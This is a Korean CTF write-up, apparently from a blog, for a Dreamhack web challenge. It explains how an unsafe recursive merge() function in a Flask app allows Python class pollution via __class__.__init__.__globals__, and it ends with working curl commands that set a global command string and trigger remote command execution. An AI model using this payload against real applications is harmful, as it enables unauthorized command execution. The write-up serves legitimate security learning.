class Principal(Teacher):
def __init__(self, name):
super().__init__(name)
self.role = "principal"
def command(self):
command = self.cmd if hasattr(self, 'cmd') else 'echo Permission Denied'
return f'{popen(command).read().strip()}'
주어진 app.py 코드를 보면, Principal에 대해 추가할 때 command 권한이 있고, cmd에 대한 attribute가 있으면 popen으로 명령어를 실행해준다.
@app.route('/add_member', methods=['GET', 'POST'])
def add_member():
if request.method == 'POST':
if request.is_json:
data = request.get_json()
else:
data = request.form
name = data.get("name")
role = data.get("role")
if role == "teacher":
new_member = Teacher(name)
elif role == "student":
new_member = Student(name)
elif role == "substitute_teacher":
new_member = SubstituteTeacher(name)
elif role == "principal":
new_member = Principal(name)
merge(data, new_member)
else:
return jsonify({"message": "Invalid role"}), 400
members.append({"name": new_member.name, "role": new_member.role})
return redirect(url_for('index'))
return render_template('add_member.html')
/add_member를 보면 role=principal로 지정되어 있으면 Principal에 해당 멤버를 추가해준다.
웹 상으로는 principal을 지정하는 부분이 없지만, 파라미터로 role=principal로 지정하면 추가해줄 수 있다.
@app.route('/execute', methods=['GET'])
def execute():
return jsonify({"result": principal.command()})
근데 문제는 /execute API 사용 시 principal.command()로 명령어를 실행할 수는 있는데, 이 principal은 내가 추가해준 principal이 아니다.
principal = Principal("principal")
members = []
members.append({"name":"admin", "role":"principal"})
전역변수로 있는 principal이다.
따라서 내가 새로 만든 name:koharin, role:principal, cmd: id 로 추가해줘도, 실질적으로는 /execute에서 principal 이름으로 추가한 Principal 객체 대상으로만 실행할 수 있기 때문에, 이 객체에 대해 cmd를 지정해주지 못하면 Permission Denied 결과만 얻게 된다.
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def add_member():
...
...
elif role == "principal":
new_member = Principal(name)
merge(data, new_member)
근데 여기에 굉장히 수상한게 있다.
role=principal일 때만 new_member를 merge한다는거다.
merge를 보면 data가 request 데이터(src)이고 new_member가 Principal 객체(dst)인데
setattr를 해주는 부분이 있다.
그래서 ctf web merge 이런 식으로 구글링을 해봤다.
2024 CodeGate CTF Preliminaries에서 출제된 othernote 문제가 굉장히 유사했다.
이 문제의 경우 /admin API에서 username: admin일 때만 플래그를 출력해준다.
이 문제의 라업에서도 동일한 merge 함수가 있었고, JS의 Prototype Pollution(첨엔 이건줄,,)과 유사한 Python의 Class Pollution 취약점을 이용하여 익스플로잇을 수행했다.
Class Pollution (Python's Prototype Pollution) - HackTricks
Reading time: 6 minutes Check how is possible to pollute classes of objects with strings: python class Company: pass class Developer(Company): pass class Entity(Developer): pass c = Company() d = Developer() e = Entity() print(c) #<__main__.Company object
book.hacktricks.wiki
해당 URL에는 globals를 이용하여 global 변수를 polluting하는 방법을 설명해준다. 이 문제의 Python 코드와 동일하다.
merge 함수 호출 시 data로 __class__ __init__ __globals__를 중첩해서 globals 안에 cmd: id와 같이 주면 전역 cmd를 원하는 값으로 설정할 수 있는 것이다.
따라서 /add_member에서 principal을 추가할 때에만 merge 함수가 호출되므로, 다음과 같이 PoC를 구성할 수 있다.
전역 principal의 cmd를 id 명령어로 지정하여 data를 POST 요청으로 보내는 것이다.
이후 /execute에 접근하면, principal.cmd를 지정했으니 예상대로 id 명령어 실행 결과가 나왔다.
curl -X POST http://host3.dreamhack.games:17799/add_member \
-H "Content-Type: application/json" \
-d '{
"name": "pwner",
"role": "principal",
"__class__": {
"__init__": {
"__globals__": {
"principal": {
"cmd": "cat flag.txt"
}
}
}
}
}'
curl http://host3.dreamhack.games:17799/execute
이후 cat flag.txt를 해서 flag도 획득할 수 있었다. (이건 로컬에서 했던거...)
[Dreamhack] baby-ai (0) | 2025.04.01 |
---|---|
[Dreamhack] phpreg (WEB) (0) | 2025.03.28 |
[Dreamhack] csrf-1 (0) | 2022.12.10 |
[Dreamhack] file-download-1 (1) | 2022.11.24 |
[Dreamhack] proxy-1 (0) | 2022.01.04 |